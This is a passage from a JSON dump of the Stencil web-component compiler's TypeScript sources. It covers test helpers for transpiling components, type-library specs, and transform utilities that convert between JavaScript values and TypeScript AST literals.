buildCtx, tsSourceFiles[0], data, emitFilePath, tsTypeChecker, null);\n    }\n    if (emitFilePath.endsWith('.d.ts')) {\n      declarationOutputText = prettifyTSOutput(data);\n    }\n  };\n\n  const compilerHost: ts.CompilerHost = {\n    getSourceFile: (fileName) => (fileName === inputFileName ? sourceFile : undefined),\n    writeFile: emitCallback,\n    getDefaultLibFileName: () => 'lib.d.ts',\n    useCaseSensitiveFileNames: () => false,\n    getCanonicalFileName: (fileName) => fileName,\n    getCurrentDirectory: () => '',\n    getNewLine: () => '',\n    fileExists: (fileName) => fileName === inputFileName,\n    readFile: () => '',\n    directoryExists: () => true,\n    getDirectories: () => [],\n  };\n\n  const tsProgram = ts.createProgram([inputFileName], options, compilerHost);\n  const tsTypeChecker = tsProgram.getTypeChecker();\n\n  const buildCtx = mockBuildCtx(mergedConfig, compilerCtx);\n\n  const transformOpts: d.TransformOptions = {\n    coreImportPath: '@stencil/core',\n    componentExport: 'lazy',\n    componentMetadata: null,\n    currentDirectory: '/',\n    proxy: null,\n    style: 'static',\n    styleImportData: 'queryparams',\n  };\n\n  tsProgram.emit(undefined, undefined, undefined, undefined, {\n    before: [\n      convertDecoratorsToStatic(mergedConfig, buildCtx.diagnostics, tsTypeChecker, tsProgram),\n      performAutomaticKeyInsertion,\n      ...beforeTransformers,\n    ],\n    after: [\n      (context) => {\n        let newSource: ts.SourceFile;\n        const visitNode = (node: ts.Node): ts.Node => {\n          // just a patch for testing - source file resolution gets\n          // lost in the after transform phase\n          node.getSourceFile = () => newSource;\n          return ts.visitEachChild(node, visitNode, context);\n        };\n        return (sourceFile: ts.SourceFile): ts.SourceFile => {\n          newSource = sourceFile;\n          return visitNode(sourceFile) as ts.SourceFile;\n        };\n      },\n      convertStaticToMeta(mergedConfig, compilerCtx, buildCtx, tsTypeChecker, null, transformOpts),\n      ...afterTransformers,\n    ],\n    afterDeclarations,\n  });\n\n  const moduleFile: d.Module = compilerCtx.moduleMap.values().next().value;\n  const cmps = moduleFile ? moduleFile.cmps : null;\n  const cmp = Array.isArray(cmps) && cmps.length > 0 ? cmps[0] : null;\n  const tagName = cmp ? cmp.tagName : null;\n  const componentClassName = cmp ? cmp.componentClassName : null;\n  const properties = cmp ? cmp.properties : null;\n  const virtualProperties = cmp ? cmp.virtualProperties : null;\n  const property = properties ? properties[0] : null;\n  const states = cmp ? cmp.states : null;\n  const state = states ? states[0] : null;\n  const listeners = cmp ? cmp.listeners : null;\n  const listener = listeners ? listeners[0] : null;\n  const events = cmp ? cmp.events : null;\n  const event = events ? events[0] : null;\n  const methods = cmp ? cmp.methods : null;\n  const method = methods ? methods[0] : null;\n  const elementRef = cmp ? cmp.elementRef : null;\n  const watchers = cmp ? cmp.watchers : null;\n  const isMixin = cmp ? moduleFile.isMixin : false;\n  const isExtended = cmp ? moduleFile.isExtended : false;\n  const serializers = cmp ? cmp.serializers : null;\n  const deserializers = cmp ? cmp.deserializers : null;\n\n  if (buildCtx.hasError || buildCtx.hasWarning) {\n    throw new Error(buildCtx.diagnostics[0].messageText as string);\n  }\n\n  return {\n    buildCtx,\n    cmp,\n    cmps,\n    compilerCtx,\n    componentClassName,\n    declarationOutputText,\n    deserializers,\n    diagnostics: buildCtx.diagnostics,\n    elementRef,\n    event,\n    events,\n    listener,\n    listeners,\n    method,\n    methods,\n    moduleFile,\n    outputText,\n    properties,\n    watchers,\n    property,\n    serializers,\n    state,\n    states,\n    tagName,\n    virtualProperties,\n    isMixin,\n    isExtended,\n  };\n}\n\n/**\n * Rewrites any stretches of whitespace in the TypeScript output to take up a\n * single space instead. This makes it a little more readable to write out strings\n * in spec files for comparison.\n *\n * @param tsOutput the string to process\n * @returns that string with any stretches of whitespace shrunk down to one space\n */\nconst prettifyTSOutput = (tsOutput: string): string => tsOutput.replace(/\\s+/gm, ' ');\n\n/**\n * Helper function for tests that converts stringified JavaScript to a runtime value.\n * A value from the generated JavaScript is returned based on the provided property name.\n * @param stringifiedJs the stringified JavaScript\n * @param propertyName the property name to pull off the generated JavaScript\n * @returns the value associated with the provided property name. Returns undefined if an error occurs while converting\n * the stringified JS to JavaScript, or if the property does not exist on the generated JavaScript.\n */\nexport function getStaticGetter(stringifiedJs: string, propertyName: string): string | void {\n  const toEvaluate = `return ${stringifiedJs.replace('export', '')}`;\n  try {\n    const Obj = new Function(toEvaluate);\n    return Obj()[propertyName];\n  } catch (e) {\n    console.error(e);\n    console.error(toEvaluate);\n  }\n}\n"
  },
  {
    "path": "src/compiler/transformers/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/transformers/test/type-library.spec.ts",
    "content": "import { ValidatedConfig } from '@stencil/core/declarations';\nimport { mockLogger, mockValidatedConfig, setupConsoleMocker } from '@stencil/core/testing';\nimport { normalizePath } from '@utils';\nimport { relative } from '@utils';\nimport path from 'path';\n\nimport { addFileToLibrary, getTypeLibrary } from '../type-library';\n\nfunction resetLibrary() {\n  const library = getTypeLibrary();\n\n  for (const key in library) {\n    delete library[key];\n  }\n}\n\nconst fixturesDir = 'fixtures';\nconst dessertModulePath = normalizePath(path.join(__dirname, fixturesDir, 'dessert.ts'), false);\nconst mealModulePath = normalizePath(path.join(__dirname, fixturesDir, 'meal-entry.ts'), false);\n\ndescribe('type library', () => {\n  let config: ValidatedConfig;\n\n  beforeEach(() => {\n    config = mockValidatedConfig({\n      rootDir: process.cwd(),\n    });\n  });\n\n  afterEach(() => {\n    resetLibrary();\n  });\n\n  it(\"should issue a warning if it can't find the specified file\", () => {\n    const { setupConsoleMocks, teardownConsoleMocks } = setupConsoleMocker();\n    const { warnMock } = setupConsoleMocks();\n    const logger = mockLogger();\n    logger.enable();\n    config.logger = logger;\n    addFileToLibrary(config, 'fixtures/not-found.ts');\n    expect(warnMock).toHaveBeenCalledWith(\n      'docs-json: unable to gather type information from \"fixtures/not-found.ts\". Please double check this path exists relative to your project root.',\n    );\n    teardownConsoleMocks();\n  });\n\n  it('should include an enum', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, mealModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::BestEnum`]).toEqual({\n      declaration: `export enum BestEnum {\n  Best,\n  Worst,\n  JustAlright,\n}`,\n      docstring: 'This has some documentation!',\n      path: relativePath,\n    });\n  });\n\n  it('should include a string union', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, mealModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::StringUnion`]).toEqual({\n      declaration: `export type StringUnion = 'left' | 'right';`,\n      docstring: '',\n      path: relativePath,\n    });\n  });\n\n  it('should include a simple alias', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, mealModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::JustAnAlias`]).toEqual({\n      declaration: `string`,\n      docstring: '',\n      path: relativePath,\n    });\n  });\n\n  it('should exclude any private types', () => {\n    addFileToLibrary(config, mealModulePath);\n    const relativePath = relative(config.rootDir, mealModulePath);\n    expect(getTypeLibrary()[`${relativePath}::PrivateType`]).toBeUndefined();\n  });\n\n  it('should include an aliased type re-export', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, dessertModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::IceCream`]).toEqual({\n      declaration: `export interface IceCream {\n  delicious: true;\n  flavor: string;\n}`,\n      docstring: '',\n      path: relativePath,\n    });\n  });\n\n  it('should include an aliased re-export', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, dessertModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::Cake`]).toEqual({\n      declaration: `export interface Cake {\n  not: 'pie';\n}`,\n      docstring: '',\n      path: relativePath,\n    });\n  });\n\n  it('should include a type re-export', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, dessertModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::Pie`]).toEqual({\n      declaration: `export interface Pie {\n  type: 'pumpkin' | 'apple' | 'pecan';\n}`,\n      docstring: '',\n      path: relativePath,\n    });\n  });\n\n  it('should include a re-export', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, dessertModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::Cookie`]).toEqual({\n      declaration: `export interface Cookie {\n  goodWith: 'cake';\n}`,\n      docstring: '',\n      path: relativePath,\n    });\n  });\n\n  it('should include a type when `export *` is used', () => {\n    addFileToLibrary(config, mealModulePath);\n\n    const relativePath = relative(config.rootDir, dessertModulePath);\n\n    expect(getTypeLibrary()[`${relativePath}::Candy`]).toEqual({\n      declaration: `export interface Candy {\n  sweet: 'very yes';\n}`,\n      docstring: '',\n      path: relativePath,\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/utils.ts",
    "content": "import ionicConfig from '@ionic/prettier-config';\nimport { format } from 'prettier';\n\n/**\n * Use the ionic-wide configuration to format some code and return the result.\n * Useful for making assertions in tests that involve code strings more robust.\n *\n * @param code the string to format\n * @returns a Promise wrapping the formatted code\n */\nexport const formatCode = (code: string): Promise<string> => format(code, { ...ionicConfig, parser: 'typescript' });\n\n/**\n * c for compact, c for class declaration, make of it what you will!\n *\n * a little util to take a multiline template literal and convert it to a\n * single line, with any whitespace substrings converting to single spaces.\n * this can help us compare with the output of `transpileModule`.\n *\n * @param strings an array of strings from a template literal\n * @returns a formatted string!\n */\nexport function c(strings: TemplateStringsArray) {\n  return formatCode(strings.join(''));\n}\n"
  },
  {
    "path": "src/compiler/transformers/transform-utils.ts",
    "content": "import { normalizePath } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { updateLazyComponentConstructor } from './component-lazy/lazy-constructor';\nimport { StencilStaticGetter } from './decorators-to-static/decorators-constants';\nimport { removeStaticMetaProperties } from './remove-static-meta-properties';\nimport { addToLibrary, findTypeWithName, getHomeModule, getOriginalTypeName } from './type-library';\nimport { updateComponentClass } from './update-component-class';\nimport postcss from 'postcss';\n// @ts-expect-error - including `@types` for postcss-safe-parser breaks Stencil's type build\nimport postcssSafeParser from 'postcss-safe-parser';\nimport postcssSelectorParser from 'postcss-selector-parser';\nimport { TRANSFORM_TAG } from './core-runtime-apis';\n\nexport const getScriptTarget = () => {\n  // using a fn so the browser compiler doesn't require the global ts for startup\n  return ts.ScriptTarget.ES2017;\n};\n\n/**\n * Determine if a class member is private or not\n * @param member the class member to evaluate\n * @returns `true` if the member has the `private` or `protected` modifier attached to it. `false` otherwise\n */\nexport const isMemberPrivate = (member: ts.ClassElement): boolean => {\n  return !!retrieveTsModifiers(member)?.some(\n    (m) => m.kind === ts.SyntaxKind.PrivateKeyword || m.kind === ts.SyntaxKind.ProtectedKeyword,\n  );\n};\n\n/**\n * Convert a JavaScript value to the TypeScript Intermediate Representation\n * (IR) for a literal Abstract Syntax Tree (AST) node with that same value. The\n * value to convert may be a primitive type like `string`, `boolean`, etc or\n * may be an `Object`, `Array`, etc.\n *\n * Note that this function takes a param (`refs`) with a default value,\n * normally a value should _not_ be passed for this parameter since it is\n * intended to be used for recursive calls.\n *\n * @param val the value to convert\n * @param refs a set of references, used in recursive calls to avoid\n * circular references when creating object literal IR instances. **note that\n * you shouldn't pass this parameter unless you know what you're doing!**\n * @returns TypeScript IR for a literal corresponding to the JavaScript value\n * with which the function was called\n */\nexport const convertValueToLiteral = (\n  val: any,\n  refs: WeakSet<any> = null,\n):\n  | ts.Identifier\n  | ts.StringLiteral\n  | ts.ObjectLiteralExpression\n  | ts.ArrayLiteralExpression\n  | ts.TrueLiteral\n  | ts.FalseLiteral\n  | ts.BigIntLiteral\n  | ts.NumericLiteral => {\n  if (refs == null) {\n    refs = new WeakSet();\n  }\n  if (val === String) {\n    return ts.factory.createIdentifier('String');\n  }\n  if (val === Number) {\n    return ts.factory.createIdentifier('Number');\n  }\n  if (val === Boolean) {\n    return ts.factory.createIdentifier('Boolean');\n  }\n  if (val === undefined) {\n    return ts.factory.createIdentifier('undefined');\n  }\n  if (val === null) {\n    return ts.factory.createIdentifier('null');\n  }\n  if (Array.isArray(val)) {\n    return arrayToArrayLiteral(val, refs);\n  }\n  if (typeof val === 'object') {\n    if ((val as ConvertIdentifier).__identifier && (val as ConvertIdentifier).__escapedText) {\n      return ts.factory.createIdentifier((val as ConvertIdentifier).__escapedText);\n    }\n    return objectToObjectLiteral(val, refs);\n  }\n\n  // the remainder of the implementation of this function was derived from the deprecated `createLiteral` function\n  // found in typescript@4.8.4\n  if (typeof val === 'number') {\n    return ts.factory.createNumericLiteral(val);\n  }\n  if (typeof val === 'object' && 'base10Value' in val) {\n    return ts.factory.createBigIntLiteral(val);\n  }\n  if (typeof val === 'boolean') {\n    return val ? ts.factory.createTrue() : ts.factory.createFalse();\n  }\n  if (typeof val === 'string') {\n    return ts.factory.createStringLiteral(val, undefined);\n  }\n\n  return ts.factory.createStringLiteralFromNode(val);\n};\n\n/**\n * Convert a JavaScript Array instance to TypeScript's Intermediate\n * Representation (IR) for an array literal. This is done by recursively using\n * {@link convertValueToLiteral} to create a new array consisting of the\n * TypeScript IR of each element in the array to be converted, and then creating\n * the TypeScript IR for _that_ array.\n *\n * @param list the array instance to convert\n * @param refs a set of references to objects, used when converting objects to\n * avoid circular references\n * @returns TypeScript IR for the array we want to convert\n */\nconst arrayToArrayLiteral = (list: any[], refs: WeakSet<any>): ts.ArrayLiteralExpression => {\n  const newList: any[] = list.map((l) => {\n    return convertValueToLiteral(l, refs);\n  });\n  return ts.factory.createArrayLiteralExpression(newList);\n};\n\n/**\n * Convert a JavaScript object (i.e. an object existing at runtime) to the\n * corresponding TypeScript Intermediate Representation (IR)\n * ({@see ts.ObjectLiteralExpression}) for an object literal. This function\n * takes an argument holding a `WeakSet` of references to objects which is\n * used to avoid circular references. Objects that are converted in this\n * function are added to the set, and if an object is already present then an\n * `undefined` literal (in TypeScript IR) is returned instead of another\n * object literal, as continuing to convert a circular reference would, well,\n * never end!\n *\n * @param obj the JavaScript object to convert to TypeScript IR\n * @param refs a set of references to objects, used to avoid circular references\n * @returns a TypeScript object literal expression\n */\nconst objectToObjectLiteral = (obj: { [key: string]: any }, refs: WeakSet<any>): ts.ObjectLiteralExpression => {\n  if (refs.has(obj)) {\n    return ts.factory.createIdentifier('undefined') as any;\n  }\n\n  refs.add(obj);\n\n  const newProperties: ts.ObjectLiteralElementLike[] = Object.keys(obj).map((key) => {\n    const prop = ts.factory.createPropertyAssignment(\n      ts.factory.createStringLiteral(key),\n      convertValueToLiteral(obj[key], refs) as ts.Expression,\n    );\n    return prop;\n  });\n\n  return ts.factory.createObjectLiteralExpression(newProperties, true);\n};\n\n/**\n * Create a TypeScript getter declaration AST node corresponding to a\n * supplied prop name and return value\n *\n * @param propName the name of the prop to access\n * @param returnExpression a TypeScript AST node to return from the getter\n * @returns an AST node representing a getter\n */\nexport const createStaticGetter = (\n  propName: StencilStaticGetter,\n  returnExpression: ts.Expression,\n): ts.GetAccessorDeclaration => {\n  return ts.factory.createGetAccessorDeclaration(\n    [ts.factory.createToken(ts.SyntaxKind.StaticKeyword)],\n    propName,\n    [],\n    undefined,\n    ts.factory.createBlock([ts.factory.createReturnStatement(returnExpression)]),\n  );\n};\n\n/**\n * Retrieves a value represented by TypeScript's syntax tree by name of a static getter. The value is transformed to a\n * runtime value.\n * @param staticMembers a collection of static getters to search\n * @param staticName the name of the static getter to pull a value from\n * @returns a TypeScript value, converted from its TypeScript syntax tree representation\n */\nexport const getStaticValue = (\n  staticMembers: ts.ClassElement[] | ts.NodeArray<ts.ClassElement>,\n  staticName: StencilStaticGetter,\n): any => {\n  const staticMember: ts.GetAccessorDeclaration = staticMembers.find(\n    (member) => (member.name as any)?.escapedText === staticName,\n  ) as any;\n  if (!staticMember || !staticMember.body || !staticMember.body.statements) {\n    return null;\n  }\n\n  const rtnStatement: ts.ReturnStatement = staticMember.body.statements.find(\n    (s) => s.kind === ts.SyntaxKind.ReturnStatement,\n  ) as any;\n  if (!rtnStatement || !rtnStatement.expression) {\n    return null;\n  }\n\n  const expKind = rtnStatement.expression.kind;\n  if (expKind === ts.SyntaxKind.StringLiteral) {\n    return (rtnStatement.expression as ts.StringLiteral).text;\n  }\n\n  if (expKind === ts.SyntaxKind.NoSubstitutionTemplateLiteral) {\n    return (rtnStatement.expression as ts.NoSubstitutionTemplateLiteral).text;\n  }\n\n  if (expKind === ts.SyntaxKind.TrueKeyword) {\n    return true;\n  }\n\n  if (expKind === ts.SyntaxKind.FalseKeyword) {\n    return false;\n  }\n\n  if (expKind === ts.SyntaxKind.ObjectLiteralExpression) {\n    return objectLiteralToObjectMap(rtnStatement.expression as any);\n  }\n\n  if (\n    expKind === ts.SyntaxKind.ArrayLiteralExpression &&\n    (rtnStatement.expression as ts.ArrayLiteralExpression).elements\n  ) {\n    return arrayLiteralToArray(rtnStatement.expression as any);\n  }\n\n  if (expKind === ts.SyntaxKind.Identifier) {\n    const identifier = rtnStatement.expression as ts.Identifier;\n    if (typeof identifier.escapedText === 'string') {\n      return getIdentifierValue(identifier.escapedText);\n    }\n\n    if (identifier.escapedText) {\n      const obj: any = {};\n      Object.keys(identifier.escapedText).forEach((key) => {\n        obj[key] = getIdentifierValue((identifier.escapedText as any)[key]);\n      });\n      return obj;\n    }\n  }\n\n  return null;\n};\n\nexport const arrayLiteralToArray = (arr: ts.ArrayLiteralExpression) => {\n  return arr.elements.map((element) => {\n    let val: any;\n\n    switch (element.kind) {\n      case ts.SyntaxKind.ObjectLiteralExpression:\n        val = objectLiteralToObjectMap(element as ts.ObjectLiteralExpression);\n        break;\n\n      case ts.SyntaxKind.StringLiteral:\n        val = (element as ts.StringLiteral).text;\n        break;\n\n      case ts.SyntaxKind.TrueKeyword:\n        val = true;\n        break;\n\n      case ts.SyntaxKind.FalseKeyword:\n        val = false;\n        break;\n\n      case ts.SyntaxKind.Identifier:\n        const escapedText = (element as ts.Identifier).escapedText;\n        if (escapedText === 'String') {\n          val = String;\n        } else if (escapedText === 'Number') {\n          val = Number;\n        } else if (escapedText === 'Boolean') {\n          val = Boolean;\n        }\n        break;\n\n      case ts.SyntaxKind.PropertyAccessExpression:\n      default:\n        val = element;\n    }\n\n    return val;\n  });\n};\n\nexport const objectLiteralToObjectMap = (\n  objectLiteral: ts.ObjectLiteralExpression,\n  typeChecker?: ts.TypeChecker,\n  diagnostics?: any[],\n  errorNode?: ts.Node,\n) => {\n  const properties = objectLiteral.properties;\n  const final: ObjectMap = {};\n\n  for (const propAssignment of properties) {\n    const propName = getTextOfPropertyName(propAssignment.name);\n    let val: any;\n\n    if (ts.isShorthandPropertyAssignment(propAssignment)) {\n      val = getIdentifierValue(propName);\n    } else if (ts.isPropertyAssignment(propAssignment)) {\n      // Check if the initializer is a resolveVar() call\n      if (\n        ts.isCallExpression(propAssignment.initializer) &&\n        typeChecker &&\n        ((ts.isIdentifier(propAssignment.initializer.expression) &&\n          propAssignment.initializer.expression.text === 'resolveVar') ||\n          (ts.isPropertyAccessExpression(propAssignment.initializer.expression) &&\n            ts.isIdentifier(propAssignment.initializer.expression.name) &&\n            propAssignment.initializer.expression.name.text === 'resolveVar'))\n      ) {\n        // Import resolveVariableValue from decorator-utils\n        // For now, we'll handle it inline to avoid circular dependencies\n        if (propAssignment.initializer.arguments.length === 1) {\n          val = resolveVarInObjectLiteral(\n            propAssignment.initializer.arguments[0],\n            typeChecker,\n            diagnostics,\n            propAssignment.initializer,\n          );\n        } else {\n          val = propAssignment.initializer;\n        }\n      } else {\n        switch (propAssignment.initializer.kind) {\n          case ts.SyntaxKind.ArrayLiteralExpression:\n            val = arrayLiteralToArray(propAssignment.initializer as ts.ArrayLiteralExpression);\n            break;\n\n          case ts.SyntaxKind.ObjectLiteralExpression:\n            val = objectLiteralToObjectMap(\n              propAssignment.initializer as ts.ObjectLiteralExpression,\n              typeChecker,\n              diagnostics,\n              errorNode,\n            );\n            break;\n\n          case ts.SyntaxKind.StringLiteral:\n            val = (propAssignment.initializer as ts.StringLiteral).text;\n            break;\n\n          case ts.SyntaxKind.NoSubstitutionTemplateLiteral:\n            val = (propAssignment.initializer as ts.StringLiteral).text;\n            break;\n\n          case ts.SyntaxKind.TrueKeyword:\n            val = true;\n            break;\n\n          case ts.SyntaxKind.FalseKeyword:\n            val = false;\n            break;\n\n          case ts.SyntaxKind.Identifier:\n            const escapedText = (propAssignment.initializer as ts.Identifier).escapedText;\n            if (escapedText === 'String') {\n              val = String;\n            } else if (escapedText === 'Number') {\n              val = Number;\n            } else if (escapedText === 'Boolean') {\n              val = Boolean;\n            } else if (escapedText === 'undefined') {\n              val = undefined;\n            } else if (escapedText === 'null') {\n              val = null;\n            } else {\n              val = getIdentifierValue((propAssignment.initializer as ts.Identifier).escapedText);\n            }\n            break;\n\n          case ts.SyntaxKind.PropertyAccessExpression:\n          default:\n            val = propAssignment.initializer;\n        }\n      }\n    }\n    final[propName] = val;\n  }\n\n  return final;\n};\n\n/**\n * Resolves a resolveVar() call within an object literal.\n * This is a simplified version that handles the same cases as resolveVariableValue in decorator-utils.\n */\nconst resolveVarInObjectLiteral = (\n  node: ts.Expression,\n  typeChecker: ts.TypeChecker,\n  _diagnostics?: any[],\n  _errorNode?: ts.Node,\n): string => {\n  // Handle identifiers (const variables)\n  if (ts.isIdentifier(node)) {\n    const symbol = typeChecker.getSymbolAtLocation(node);\n    if (!symbol || !symbol.valueDeclaration) {\n      throw new Error(\n        `resolveVar() cannot resolve the value of \"${node.text}\" at compile time. Only const variables and object properties with string literal values are supported.`,\n      );\n    }\n\n    const declaration = symbol.valueDeclaration;\n\n    if (ts.isVariableDeclaration(declaration)) {\n      const type = typeChecker.getTypeAtLocation(node);\n      if (type && type.isLiteral() && typeof type.value === 'string') {\n        return type.value;\n      }\n\n      if (declaration.initializer) {\n        const value = extractStringFromExpressionInline(declaration.initializer, typeChecker);\n        if (value !== null) {\n          return value;\n        }\n      }\n    }\n\n    throw new Error(\n      `resolveVar() cannot resolve the value of \"${node.text}\" at compile time. Only const variables and object properties with string literal values are supported.`,\n    );\n  }\n\n  // Handle property access expressions (object properties)\n  if (ts.isPropertyAccessExpression(node)) {\n    const objectType = typeChecker.getTypeAtLocation(node.expression);\n    if (!objectType) {\n      throw new Error(`resolveVar() cannot resolve the object type for \"${node.getText()}\" at compile time.`);\n    }\n\n    const propertyName = node.name.text;\n    const property = typeChecker.getPropertyOfType(objectType, propertyName);\n    if (!property) {\n      throw new Error(\n        `resolveVar() cannot find property \"${propertyName}\" on object \"${node.expression.getText()}\" at compile time.`,\n      );\n    }\n\n    const propertyType = typeChecker.getTypeOfSymbolAtLocation(property, node);\n    if (propertyType && propertyType.isLiteral() && typeof propertyType.value === 'string') {\n      return propertyType.value;\n    }\n\n    if (property.valueDeclaration) {\n      if (ts.isPropertyDeclaration(property.valueDeclaration)) {\n        const initializer = property.valueDeclaration.initializer;\n        if (initializer) {\n          const value = extractStringFromExpressionInline(initializer, typeChecker);\n          if (value !== null) {\n            return value;\n          }\n        }\n      } else if (ts.isPropertySignature(property.valueDeclaration)) {\n        // PropertySignature doesn't have initializer, skip it\n        // The type-based resolution above should handle this case\n      } else if (ts.isVariableDeclaration(property.valueDeclaration)) {\n        const initializer = property.valueDeclaration.initializer;\n        if (initializer) {\n          const value = extractStringFromExpressionInline(initializer, typeChecker);\n          if (value !== null) {\n            return value;\n          }\n        }\n      }\n    }\n\n    throw new Error(\n      `resolveVar() cannot resolve the value of \"${node.getText()}\" at compile time. Only const variables and object properties with string literal values are supported.`,\n    );\n  }\n\n  throw new Error(\n    `resolveVar() can only be used with const variables or object properties. \"${node.getText()}\" is not supported.`,\n  );\n};\n\nconst extractStringFromExpressionInline = (expr: ts.Expression, typeChecker: ts.TypeChecker): string | null => {\n  if (ts.isStringLiteral(expr)) {\n    return expr.text;\n  }\n\n  if (ts.isNoSubstitutionTemplateLiteral(expr)) {\n    return expr.text;\n  }\n\n  const type = typeChecker.getTypeAtLocation(expr);\n  if (type && type.isLiteral() && typeof type.value === 'string') {\n    return type.value;\n  }\n\n  return null;\n};\n\nconst getIdentifierValue = (escapedText: any) => {\n  const identifier: ConvertIdentifier = {\n    __identifier: true,\n    __escapedText: escapedText,\n  };\n  return identifier;\n};\n\nconst getTextOfPropertyName = (propName: ts.PropertyName) => {\n  switch (propName.kind) {\n    case ts.SyntaxKind.Identifier:\n      return (<ts.Identifier>propName).text;\n    case ts.SyntaxKind.StringLiteral:\n    case ts.SyntaxKind.NumericLiteral:\n      return (<ts.LiteralExpression>propName).text;\n    case ts.SyntaxKind.ComputedPropertyName:\n      const expression = (<ts.ComputedPropertyName>propName).expression;\n      if (ts.isStringLiteral(expression) || ts.isNumericLiteral(expression)) {\n        return (<ts.LiteralExpression>(<ts.ComputedPropertyName>propName).expression).text;\n      }\n  }\n  return undefined;\n};\n\nexport class ObjectMap {\n  [key: string]: ts.Expression | ObjectMap;\n}\n\n/**\n * Generate a series of type references for a given AST node\n *\n * @param baseNode the AST node to pull type references from\n * @param sourceFile the source file in which the provided `baseNode` exists\n * @param checker a {@link ts.TypeChecker} instance\n * @param program a {@link ts.Program} object\n * @returns the generated series of type references\n */\nexport const getAttributeTypeInfo = (\n  baseNode: ts.Node,\n  sourceFile: ts.SourceFile,\n  checker: ts.TypeChecker,\n  program: ts.Program,\n): d.ComponentCompilerTypeReferences => {\n  const allReferences: d.ComponentCompilerTypeReferences = {};\n  getAllTypeReferences(checker, baseNode).forEach((typeInfo) => {\n    const { name, type } = typeInfo;\n    allReferences[name] = getTypeReferenceLocation(name, type, sourceFile, checker, program);\n  });\n  return allReferences;\n};\n\n/**\n * Get the text-based name from a TypeScript `EntityName`, which is an identifier of some form\n * @param entity a TypeScript `EntityName` to retrieve the name of an entity from\n * @returns the entity's name\n */\nconst getEntityName = (entity: ts.EntityName): string => {\n  if (ts.isIdentifier(entity)) {\n    return entity.escapedText.toString();\n  } else {\n    // We have qualified name - e.g. const x: Foo.Bar.Baz;\n    // Recurse until we find the 'base' of the qualified name\n    return getEntityName(entity.left);\n  }\n};\n\ninterface TypeReferenceIR {\n  name: string;\n  type: ts.Type;\n}\n\n/**\n * Recursively walks the provided AST to collect all TypeScript type references that are found\n *\n * @param checker a {@link ts.TypeChecker} instance\n * @param node the node to walk to retrieve type information\n * @returns the collected type references\n */\nexport const getAllTypeReferences = (checker: ts.TypeChecker, node: ts.Node): ReadonlyArray<TypeReferenceIR> => {\n  const referencedTypes: TypeReferenceIR[] = [];\n\n  const visit = (node: ts.Node): ts.VisitResult<ts.Node> => {\n    /**\n     * A type reference node will refer to some type T.\n     * e.g: In `const foo: Bar = {...}` the reference node will contain semantic information about `Bar`.\n     * In TypeScript, types that are also keywords (e.g. `number` in `const foo: number`) are not `TypeReferenceNode`s.\n     */\n    if (ts.isTypeReferenceNode(node)) {\n      referencedTypes.push({\n        name: getEntityName(node.typeName),\n        type: checker.getTypeFromTypeNode(node),\n      });\n      if (node.typeArguments) {\n        // a type may contain types itself (e.g. generics - Foo<Bar>)\n        node.typeArguments\n          .filter((typeArg: ts.TypeNode): typeArg is ts.TypeReferenceNode => ts.isTypeReferenceNode(typeArg))\n          .forEach((typeRef: ts.TypeReferenceNode) => {\n            const typeName = typeRef.typeName as ts.Identifier;\n            if (typeName && typeName.escapedText) {\n              referencedTypes.push({\n                name: typeName.escapedText.toString(),\n                type: checker.getTypeFromTypeNode(typeRef),\n              });\n            }\n          });\n      }\n    }\n    return ts.forEachChild(node, visit);\n  };\n\n  visit(node);\n\n  return referencedTypes;\n};\n\n/**\n * Determine where a TypeScript type reference originates from. This is accomplished by interrogating the AST node in\n * which the type's name appears\n *\n * A type may originate:\n * - from the same file where it is used (a type is declared in some file, `foo.ts`, and later used in the same file)\n * - from another file (I.E. it is imported and should have an import statement somewhere in the file)\n * - from a global context\n * - etc.\n *\n * The type may be declared using the `type` or `interface` keywords.\n *\n * @param typeName the name of the type to find the origination of\n * @param type the type in question\n * @param sourceFile the TypeScript AST node being searched for the provided `typeName`\n * @param checker a TypeScript typechecker instance\n * @param program a {@link ts.Program} object\n * @returns the context stating where the type originates from\n */\nconst getTypeReferenceLocation = (\n  typeName: string,\n  type: ts.Type,\n  sourceFile: ts.SourceFile,\n  checker: ts.TypeChecker,\n  program: ts.Program,\n): d.ComponentCompilerTypeReference => {\n  // Loop through all top level imports to find any reference to the type for 'import' reference location\n  const importTypeDeclaration = sourceFile.statements.find((st) => {\n    const statement =\n      ts.isImportDeclaration(st) &&\n      st.importClause &&\n      ts.isImportClause(st.importClause) &&\n      st.importClause.namedBindings &&\n      ts.isNamedImports(st.importClause.namedBindings) &&\n      Array.isArray(st.importClause.namedBindings.elements) &&\n      st.importClause.namedBindings.elements.find((nbe) => nbe.name.getText() === typeName);\n    if (!statement) {\n      return false;\n    }\n    return true;\n  }) as ts.ImportDeclaration;\n\n  const namedImportBindings = importTypeDeclaration?.importClause?.namedBindings;\n  if (importTypeDeclaration && ts.isNamedImports(namedImportBindings)) {\n    // in order to calculate this type's ID and add it to the type library we\n    // need to resolve its home module and find its original declaration.\n    const localImportPath = (<ts.StringLiteral>importTypeDeclaration.moduleSpecifier).text;\n    const options = program.getCompilerOptions();\n    const compilerHost = ts.createCompilerHost(options);\n    const importHomeModule = getHomeModule(sourceFile, localImportPath, options, compilerHost, program);\n\n    if (importHomeModule) {\n      const importElement = namedImportBindings.elements.find((nbe) => nbe.name.getText() === typeName);\n      const importName = importElement.name;\n      const originalTypeName = getOriginalTypeName(importName, checker);\n\n      // Get the name as it appears in the import statement (before any user 